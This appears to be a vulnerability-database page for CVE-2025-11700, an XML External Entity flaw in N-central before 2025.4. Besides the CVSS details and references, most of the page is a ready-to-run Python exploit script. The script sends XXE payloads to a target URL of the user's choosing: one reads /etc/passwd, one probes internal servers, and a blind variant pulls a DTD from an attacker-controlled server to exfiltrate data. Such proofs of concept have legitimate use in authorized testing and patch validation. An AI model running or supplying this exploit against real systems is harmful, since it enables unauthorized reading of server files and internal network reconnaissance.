CVE-2025-11700

Description

N-central versions < 2025.4 are vulnerable to multiple XML External Entities injection leading to information disclosure

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:n-able:n-central:*:*:*:*:*:*:*:* - VULNERABLE

N-central < 2025.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-11700 XXE Injection PoC for N-central
# Target: N-central versions < 2025.4

def exploit_xxe(target_url, payload_type='file_read'):
    """
    Exploit XXE vulnerability to read local files or perform SSRF
    """
    
    # XML payload for reading local files
    file_read_payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <data>&xxe;</data>
</root>'''
    
    # XML payload for SSRF/internal network probing
    ssrf_payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "http://internal-server/local-test">
]>
<root>
    <data>&xxe;</data>
</root>'''
    
    # XML payload using parameter entities for blind XXE
    blind_xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % dtd SYSTEM "http://attacker-controlled-server/evil.dtd">
    %dtd;
    %all;
]>
<root>&exfil;</root>'''
    
    payloads = {
        'file_read': file_read_payload,
        'ssrf': ssrf_payload,
        'blind': blind_xxe_payload
    }
    
    xml_payload = payloads.get(payload_type, file_read_payload)
    
    headers = {
        'Content-Type': 'application/xml',
        'User-Agent': 'Mozilla/5.0'
    }
    
    try:
        print(f"[*] Sending XXE payload to {target_url}")
        print(f"[*] Payload type: {payload_type}")
        
        response = requests.post(
            target_url,
            data=xml_payload,
            headers=headers,
            timeout=30,
            verify=False
        )
        
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response:\n{response.text}")
        
        return response
        
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-11700.py <target_url> [payload_type]")
        print("Payload types: file_read, ssrf, blind")
        sys.exit(1)
    
    target = sys.argv[1]
    ptype = sys.argv[2] if len(sys.argv) > 2 else 'file_read'
    
    exploit_xxe(target, ptype)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11700
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11700
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11700/
[4] VulDB https://vuldb.com/cve/CVE-2025-11700
[5] https://me.n-able.com/s/security-advisory/aArVy0000000rabKAA

Raw JSON Data

JSON

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